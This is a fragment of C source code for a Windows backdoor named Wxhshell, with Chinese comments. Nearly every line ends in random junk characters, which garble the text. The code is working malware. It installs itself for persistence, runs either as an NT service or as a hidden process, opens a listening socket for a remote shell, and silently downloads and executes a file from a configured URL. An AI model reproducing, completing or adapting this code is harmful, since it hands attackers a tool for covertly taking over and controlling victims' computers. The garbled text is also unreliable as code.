DWORD BasePriority; 'MQJt2QU9{
ULONG UniqueProcessId; *6wt+twH
ULONG InheritedFromUniqueProcessId; A5^tus/y
} PROCESS_BASIC_INFORMATION; E*s8 nQ"
-eFq^KP2
PROCNTQSIP NtQueryInformationProcess; 7g.3)1
RA*W Ys&xb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }K|40oO5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' 1D1y'
qS[KB\RN1
HANDLE hProcess; ZjveXrx
PROCESS_BASIC_INFORMATION pbi; fl+2'~
Yu:!l>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:*" b'
if(NULL == hInst ) return 0; +jyWqld.K1
Lnc>O'<5P9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [! YSW'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g|<$\}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -"5r-q q*
s&L 6C[
if (!NtQueryInformationProcess) return 0; ^oDSU7j5,
UF;iw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zXGi
if(!hProcess) return 0; AEo
%Krf,H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b G/[mZpRT
k? !'OHmBL
CloseHandle(hProcess); (3N;-
LfX[(FP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l{t!
LTf;
if(hProcess==NULL) return 0; }TG=ZVi
=j~Xrytn
HMODULE hMod; &6^QFqqW`-
char procName[255]; wY*tq{7
unsigned long cbNeeded; f5,!,]XO
sh;>6xB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dPmNX-'7
%<h+_(\h
CloseHandle(hProcess); j'q Iq;y
7i88iT
if(strstr(procName,"services")) return 1; // 以服务启动 6$
ag<
]SG(YrF
return 0; // 注册表启动 3?s1Yw>?
} kB=\a(
p]x9hZ
// 主模块 nZ/pi$7
int StartWxhshell(LPSTR lpCmdLine) V?N8 ,)j
{ M"E7=J
SOCKET wsl; oNp(GQ@0
BOOL val=TRUE; Z?)=4|
int port=0; CYZ0F5+t
struct sockaddr_in door; n0opb [ ?
LIfYpn6
if(wscfg.ws_autoins) Install(); R_B`dP<"~Y
A x'o|RE)x
port=atoi(lpCmdLine); "w:?WS
!c;BOCqa
if(port<=0) port=wscfg.ws_port; c. 06Sw*
|`Iispn
WSADATA data; .y>G/8_i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x"{WLZ
$m;DwlM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b>f{o_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ok(dCAKP
door.sin_family = AF_INET; Y1 *8&xT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kd;)E 9Ti
door.sin_port = htons(port); ^'Qe.DW[
52q<|MW%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D0LoT?$N
closesocket(wsl); tlcNGPa
return 1; eY8rm
} d< b ,].
*/y (~O6
if(listen(wsl,2) == INVALID_SOCKET) { .a7!*I#g
closesocket(wsl); P:fcbfH+
return 1; E@7);i5K
} x#}{z1op9
Wxhshell(wsl); g @qrVQv
WSACleanup(); h4tAaPcS+
;CLOZ{
return 0; @aUQy;
E{xcu9
} /eY}0q%
:bu]gj4e
// 以NT服务方式启动 ^(~%'f
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M&^Iun
{ 1XJLGMW,
DWORD status = 0; XY!0yAK(!
DWORD specificError = 0xfffffff; %IK[d#HO
Yqb3g(0
serviceStatus.dwServiceType = SERVICE_WIN32; =jkiM_<h
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Qgxpq{y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YK )e
serviceStatus.dwWin32ExitCode = 0; ]B3f$;W
serviceStatus.dwServiceSpecificExitCode = 0; ;P9cjfSn
serviceStatus.dwCheckPoint = 0; @=dwvl' W
serviceStatus.dwWaitHint = 0; 89\DS!\x9
`
*q>E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~;yP{F8?
if (hServiceStatusHandle==0) return; @3Gr2/a
s_%KWkS
status = GetLastError(); NM4b]>
if (status!=NO_ERROR) +AYB0`X)
{ bz|-x"qk
serviceStatus.dwCurrentState = SERVICE_STOPPED; dT'd C
serviceStatus.dwCheckPoint = 0; yhh\?qqy
serviceStatus.dwWaitHint = 0; z~Is
E8
serviceStatus.dwWin32ExitCode = status; |:,i
serviceStatus.dwServiceSpecificExitCode = specificError; fzjAP7 y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GEtzLaq<
return; 9qI#vHA
} P~M<OUg
"g:1br?X,9
serviceStatus.dwCurrentState = SERVICE_RUNNING; !U4<4<+
serviceStatus.dwCheckPoint = 0; jP}Ix8vc=
serviceStatus.dwWaitHint = 0; DE!c+s_g4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }fh<L CwTi
} q6EZ?bo{
FgnPh%[u
// 处理NT服务事件,比如:启动、停止 "-R19SpJKh
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0$=w8tP)
{ 4~~G
i`XE
switch(fdwControl) 1Uk Gjw1J
{ bDjm:G
case SERVICE_CONTROL_STOP: CqR^w(
serviceStatus.dwWin32ExitCode = 0; l$ufW|
serviceStatus.dwCurrentState = SERVICE_STOPPED; Qm>2,={h
serviceStatus.dwCheckPoint = 0; ,*CPG$L
serviceStatus.dwWaitHint = 0; <5o
oML]nP
{ F}c}I8Ao
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /q5!p0fH*
} ):7mK03J
return; 'q\[aKEX=
case SERVICE_CONTROL_PAUSE: J=6(
4>
serviceStatus.dwCurrentState = SERVICE_PAUSED; "ifv1KZ#
break; C9^C4
case SERVICE_CONTROL_CONTINUE: NM+(ss'
serviceStatus.dwCurrentState = SERVICE_RUNNING; >>%E?'9A
break; 3gs!ojG
case SERVICE_CONTROL_INTERROGATE: #83pitcc
break; y&6 pc
}; (D2N_l(`<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .O6(QI*
} %/w%A:y#&
Ni>!b6Z`[
// 标准应用程序主函数 =fK6P6'B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yR1v3D4E
{ d-`z1'
N"A`tc5&
// 获取操作系统版本 X=jHH=</
OsIsNt=GetOsVer(); <op|yh3Jkk
GetModuleFileName(NULL,ExeFile,MAX_PATH); w7Ij=!)
11?d,6Jl
// 从命令行安装 #oJ%i+V
if(strpbrk(lpCmdLine,"iI")) Install(); =[LUOOR*]
8 `}I]
// 下载执行文件 Ru@ { b`
if(wscfg.ws_downexe) { mr>dZ)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ffR<G&"n~b
WinExec(wscfg.ws_filenam,SW_HIDE); z!aU85y
} nrKir
+g&M@8XO&
if(!OsIsNt) { Vp1Ff
// 如果时win9x,隐藏进程并且设置为注册表启动 s'/ZtH6>C
HideProc(); cYz|Ux
StartWxhshell(lpCmdLine); yq12"Rs
} #Wq@j1?
else ''H;/&nDX
if(StartFromService()) t5k=ngA
// 以服务方式启动 eI1C0Uz1
StartServiceCtrlDispatcher(DispatchTable); ?g4S51zpp
else l7#2
e ORm
// 普通方式启动 5xhYOwQBo
StartWxhshell(lpCmdLine); R5=M{
6"yIk4u:
return 0; Y2$xlqQd"
}